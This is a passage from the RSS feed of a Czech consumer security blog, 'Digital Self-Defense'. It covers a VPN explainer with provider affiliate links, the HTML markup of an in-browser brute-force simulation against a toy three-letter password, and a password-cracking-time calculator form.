<h2><span class="tlid-translation translation" lang="en">How do I access VPN?</span></h2>
<p><span class="tlid-translation translation" lang="en">There are two ways, both have advantages and disadvantages:</span></p>
<h3><span class="tlid-translation translation" lang="en">1. Register with a VPN provider</span></h3>
<p><span class="tlid-translation translation" lang="en"><strong>Example</strong>: <a href="https://go.nordvpn.net/aff_c?offer_id=15&#038;aff_id=25625&#038;url_id=902" target="_blank" rel="noopener noreferrer">NordVPN</a>, <a href="https://protonvpn.net/?aid=sodomak" target="_blank" rel="noopener noreferrer">ProtonVPN,</a> <a href="http://www.cryptohippie.net/VPNBackbone.html" target="_blank" rel="noopener noreferrer">Cryptohippie</a>, <a href="https://vpn.ac/aff.php?aff=1874" target="_blank" rel="noopener noreferrer">VPN.ac</a>.</span></p>
<p><span class="tlid-translation translation" lang="en">You can simply pay for VPN as a service. There is a lot of operators, they differ in price, number of servers around the world, guaranteed speed, anonymity rate and other parameters.<br />
How to choose the best one? There is no simple answer to that. Much depends on what you want to use VPN for. If you only need to connect to a server in one country from time to time, a cheaper service with fewer servers is enough. In order to watch videos or download more data, you need more guaranteed speed and unlimited download or upload limits.<br />
Some examples of VPN providers are <a href="https://go.nordvpn.net/aff_c?offer_id=15&#038;aff_id=25625&#038;url_id=902" target="_blank" rel="noopener noreferrer">NordVPN</a>, <a href="https://protonvpn.net/?aid=sodomak" target="_blank" rel="noopener noreferrer">ProtonVPN,</a> <a href="https://vpn.ac/aff.php?aff=1874" target="_blank" rel="noopener noreferrer">VPN.ac</a>. Their VPN connection applications exist for all major operating systems on both computers and phones, and have a large number of servers around the world. <a href="https://protonvpn.net/?aid=sodomak" target="_blank" rel="noopener noreferrer">ProtonVPN</a> allows you to use VPN for free, but with a small number of servers, slower speeds and single device limitations. The advantage is that you can try VPN before paying.<br />
There are many operators who offer a free VPN. However, because server operation costs a lot of money, it is often financed from the sale of user data or direct abuse of transmitted data (VPN operator, unlike your ISP, &#8220;sees&#8221; your data). Therefore, it seems safer to pay for the service. But even the fact that you pay for the service will not guarantee that the operator does not use your data. That is why the credibility of the provider needs to be taken into account.<br />
A detailed comparison chart of different VPN providers can be found <a href="https://thatoneprivacysite.net/vpn-comparison-chart/" target="_blank" rel="noopener noreferrer">here</a>.<br />
</span></p>
<p><span class="tlid-translation translation" lang="en"><strong>Pros</strong>: Simple installation, a large number of servers, the operator solves security<br />
<strong>Cons</strong>: The provider can read your data, price, different service providers can block VPN server IP addresses</span></p>
<h3><span class="tlid-translation translation" lang="en">2. Own VPN server</span></h3>
<p><span class="tlid-translation translation" lang="en"><strong>Example</strong>: <a href="https://openvpn.net/" target="_blank" rel="noopener noreferrer">OpenVPN</a><br />
</span></p>
<p><span class="tlid-translation translation" lang="en">You can run VPN yourself on your home or business server (with a public IP address). There are several possible solutions, whether commercial or open source, such as <a href="https://openvpn.net/" target="_blank" rel="noopener noreferrer">OpenVPN</a>.<br />
This allows you to configure the server to suit your needs and not share your data with any operator and use it to access your internal network from outside (your computer will behave as if you were on a home or business network). If you have sufficient knowledge (or your own IT department) and need a VPN to access your own network rather than access services in other countries, this option is more appropriate for you.</span></p>
<p><span class="tlid-translation translation" lang="en"><strong>Pros</strong>: No one can see the data outside your network, you have access to devices on your network<br />
<strong>Cons</strong>: Installation and configuration (you need your own server and knowledge for correct and secure setup), server maintenance and updates, the number of servers in different locations is limited by your abillities.</span></p>
<h2><span class="tlid-translation translation" lang="en">VPN a little more detail</span></h2>
<p><span class="tlid-translation translation" lang="en">To understand the VPN, I need to first explain what happens when you connect to a server on the Internet &#8211; for example, enter www.netflix.com into your browser:</span></p>
<p><span class="tlid-translation translation" lang="en">Your computer (or phone) in Prague first contacts the first point on the network, today usually a Wi-Fi router in your home, in your company or in a cafe. The router will connect to the Internet provider (eg UPC, O2, etc.) and your request will reach the server where the Netflix website is located via various other servers along the way. Depending on your location, it will display a local version (in our case Czech). How does service provider know where you are? Simply according to your IP address &#8211; these are specific to different parts of the world and can be located. So Netflix sees that you are in the Czech Republic and will not allow you to look at other versions.</span></p>
<h3><span class="tlid-translation translation" lang="en">VPN disguises your location.</span></h3>
<p><span class="tlid-translation translation" lang="en">VPN works on the client &#8211; server principle. This means that your device has a program called a client that connects to the server (eg, New York) and creates a data tunnel between your device and the VPN server. All data flowing through this tunnel is encrypted and unreadable to anyone else on the network (or your ISP).<br />
The VPN server then connects to the server (in our case Netflix) you want to visit under its IP address and the operator does not see your actual location but the location of that VPN server and can adjust the data offered to you (US version) accordingly.</span></p>
<h3><span class="tlid-translation translation" lang="en">Home or business network</span></h3>
<p><span class="tlid-translation translation" lang="en">If you have your own VPN server, your computer or phone is connected to the network just as if it were physically in your home or business. This gives you access to other computers and devices such as printers, shared disks, internal company systems, etc. The connection is encrypted, so there is no danger (if properly configured) of being tapped.</span></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/vpn-ochrana-vasi-komunikace-a-spasa-pro-evropsky-internet/">VPN &#8211; Protecting Your Communication and Salvation for the European Internet?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Brute-force attack &#8211; demo</title>
		<link>https://www.digitalnisebeobrana.cz/en/brute-force-attack-demo/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Wed, 19 Dec 2018 17:13:02 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[demo]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[hesla]]></category>
		<category><![CDATA[nástroj]]></category>
		<category><![CDATA[trik]]></category>
		<guid isPermaLink="false">https://www.zaskolit.cz/?p=1298</guid>

					<description><![CDATA[<p>Jak funguje tzv. brute-force útok? Můžete si ho vyzkoušet.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/brute-force-attack-demo/">Brute-force attack &#8211; demo</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js">
</script><br />
What is a brute-force attack? Simplified, it&#8217;s actually trying out all possible combinations of characters to break the password. It&#8217;s time consuming, so it&#8217;s inefficient for long passwords.<br />
How long it would take to calculate it <strong><a href="https://www.zaskolit.cz/en/za-jak-dlouho-hacker-prolomi-vase-heslo/">here</a></strong>.<br />
Try with the short passwords in the demo below. The procedure is as follows:</p>
<ol>
<li>You can choose your username and password (only lowercase letters and up to three characters long), then click the &#8220;Register&#8221; button. This simulates registration on a server (the name and password are stored in the database).</li>
<li>Click the &#8220;Run&#8221; button: this will trigger the attack &#8211; the program tests the character combinations in the &#8220;Password&#8221; field in the &#8220;Login&#8221; section (simulation of the login form).</li>
<li>Once you&#8217;ve found the combination, you can try logging in with the &#8220;Login&#8221; button.</li>
</ol>
<p>Basic info about creating passwords <a href="#ds-ibox-passwords"><strong>below</strong></a>.</p>
<div class="divTable btf" id="btfBox">
<div class="divTableBody">
<div class="divTableRow">
            <!-- REGISTER ----------------------------------------- --></p>
<div class="divTableCell">
<div id="btf-dregister">Register</p>
<div class="divTable btfregister">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell">Choose username: </div>
<div class="divTableCell"><input type="text" id="btf-ruser" value="user1"></div>
</p></div>
<div class="divTableRow">
<div class="divTableCell">Password (max. 3 lowercase letters)</div>
<div class="divTableCell"><input type="password" id="btf-password" value="cia"></div>
</p></div>
<div class="divTableRow">
<div class="divTableCell"><em><small>* Brute-force attack is time and resources consuming, it would take too long in the web browser</small></em></div>
<div class="divTableCell"><button id="btf-register" onclick="btfRegister()">Register</button></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
<p>            <!-- LOGIN ----------------------------------------- --></p>
<div class="divTableCell">
<div id="btf-dlogin">Login</p>
<div class="divTable btflogin">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell">Username</div>
<div class="divTableCell"><input id="btf-login" readonly="true"></div>
</p></div>
<div class="divTableRow">
<div class="divTableCell">Password</div>
<div class="divTableCell"><input id="btf-counter" readonly="true"></div>
</p></div>
<div class="divTableRow">
<div class="divTableCell"></div>
<div class="divTableCell"><button id="btf-butlogin" onclick="btfLogin()">Login</button></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
<p><!-- ROW ----------------------------------------- --></p>
<div class="divTableRow">
        <!-- BRUTEFORCE ----------------------------------------- --></p>
<div class="divTableCell">
<div id="btf-dhacker">Brute-force</p>
<div class="divTable btfhack">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell"><img decoding="async" src="https://www.zaskolit.cz/wp-content/uploads/2018/12/mrblack.png" alt="" width="156" height="221" class="alignright size-full wp-image-1299"  id="btf-hackpic"/></div>
<div class="divTableCell" id="btf-hackapp"><button id="btf-run" onclick="bruteforce()">Run</button><br />
                                    <button id="btf-stop" onclick="stop()">Stop</button></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
<p>            <!-- SERVER ----------------------------------------- --></p>
<div class="divTableCell">
<div id="btf-dserver">Server database</p>
<div class="divTable btfdb">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell">Username</div>
<div class="divTableCell">Password</div>
</p></div>
<div class="divTableRow">
<div class="divTableCell">&nbsp;<span id="btf-suser"></span></div>
<div class="divTableCell">&nbsp;<span id="btf-spass"></span></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
</p></div>
</div>
<div class="ds-infobox">[do_widget id=custom_html-4]</div>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/brute-force-attack-demo/">Brute-force attack &#8211; demo</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How long it can take to crack your password?</title>
		<link>https://www.digitalnisebeobrana.cz/en/za-jak-dlouho-hacker-prolomi-vase-heslo/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 18 Dec 2018 12:47:25 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[hesla]]></category>
		<category><![CDATA[kontrola]]></category>
		<category><![CDATA[nástroj]]></category>
		<guid isPermaLink="false">https://www.zaskolit.cz/?p=1317</guid>

					<description><![CDATA[<p>Calculation of time needed to crack password via brute-force attack.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/za-jak-dlouho-hacker-prolomi-vase-heslo/">How long it can take to crack your password?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>How long will your password resist the so-called <strong><a href="https://www.zaskolit.cz/en/brute-force-attack-demo/">brute-force attack</a></strong> (testing all possible combinations of characters)? This tool calculates the approximate time that computers need to break the password.<br />
This type of attack depends on the length of the password and the characters used. But it&#8217;s just one password information. <strong>If you are using any of the known or frequently used passwords, breaking is independent of the length &#8211; the computer does not pass through a combination of characters, but tries each password.</strong></p>
<div class="divTable pswCalcS">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell">Password length:</div>
<div class="divTableCell">Contains:</div>
</div>
<div class="divTableRow">
<div class="divTableCell"><input type="text" id="psw-number" oninput="estimate('en')"></div>
<div class="divTableCell"><input type="checkbox" name="set" value="lc" id="psw-lc" oninput="estimate('cz')" checked="true">Lowercase letters<br />
<input type="checkbox" name="set" value="uc" id="psw-uc" oninput="estimate('en')">Uppercase letters<br />
<input type="checkbox" name="set" value="nr" id="psw-nr" oninput="estimate('en')">Numbers<br />
<input type="checkbox" name="set" value="sp" id="psw-sp" oninput="estimate('en')">Special characters</div>
</div>
</div>
</div>
<div class="divTable pswCalc" id="psw-result">
<div class="divTableBody">
<div class="divTableRow">
<div class="divTableCell">PC</div>
<div class="divTableCell" id="psw-time-pc"></div>
</div>
<div class="divTableRow">
<div class="divTableCell">Graphic cards</div>
<div class="divTableCell" id="psw-time-gpu"></div>
</div>
<div class="divTableRow">
<div class="divTableCell">Supercomputer/cloud</div>
<div class="divTableCell" id="psw-time-bot"></div>
</div>
</div>
</div>
<div class="ds-infobox">[do_widget id=custom_html-4]</div>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/za-jak-dlouho-hacker-prolomi-vase-heslo/">How long it can take to crack your password?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
